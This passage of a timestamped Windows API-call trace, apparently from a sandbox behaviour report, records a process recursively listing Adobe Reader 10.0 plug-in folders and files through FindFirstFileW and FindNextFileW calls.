ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0048.428] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.430] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.430] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.430] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.431] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.431] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0048.431] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.431] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.431] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.431] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.433] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.433] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0048.433] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.434] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.434] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.434] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.434] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.434] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0048.434] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.436] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.436] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.437] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.437] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.437] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0048.437] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.440] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.440] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.440] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.441] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.441] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0048.441] FindClose (in: hFindFile=0x7cba90 | out: hFindFile=0x7cba90) returned 1 [0048.441] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.441] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0048.441] FindClose (in: hFindFile=0x7cb9d0 | out: hFindFile=0x7cb9d0) returned 1 [0048.441] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0048.442] FindNextFileW (in: hFindFile=0x7cbb50, lpFindFileData=0x473f094 | out: lpFindFileData=0x473f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5dbe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0048.443] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.445] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.445] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1 [0048.445] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb9d0 [0048.446] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.447] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CAT", cAlternateFileName="")) returned 1 [0048.451] FindClose (in: hFindFile=0x7cb9d0 | out: hFindFile=0x7cb9d0) returned 1 [0048.452] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.452] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_CZE", cAlternateFileName="")) returned 1 [0048.452] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*", lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb9d0 [0048.453] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.453] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CZE", cAlternateFileName="")) returned 1 [0048.453] FindClose (in: hFindFile=0x7cb9d0 | out: hFindFile=0x7cb9d0) returned 1 [0048.453] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.453] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HRV", cAlternateFileName="")) returned 1 [0048.453] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*", lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb9d0 [0048.454] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.454] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HRV", cAlternateFileName="")) returned 1 [0048.455] FindClose (in: hFindFile=0x7cb9d0 | out: hFindFile=0x7cb9d0) returned 1 [0048.455] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.455] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HUN", cAlternateFileName="")) returned 1 [0048.455] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*", lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb9d0 [0048.456] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.456] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HUN", cAlternateFileName="")) returned 1 [0048.456] FindClose (in: hFindFile=0x7cb9d0 | out: hFindFile=0x7cb9d0) returned 1 [0048.456] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.456] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_POL", cAlternateFileName="")) returned 1 [0048.456] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*", lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, 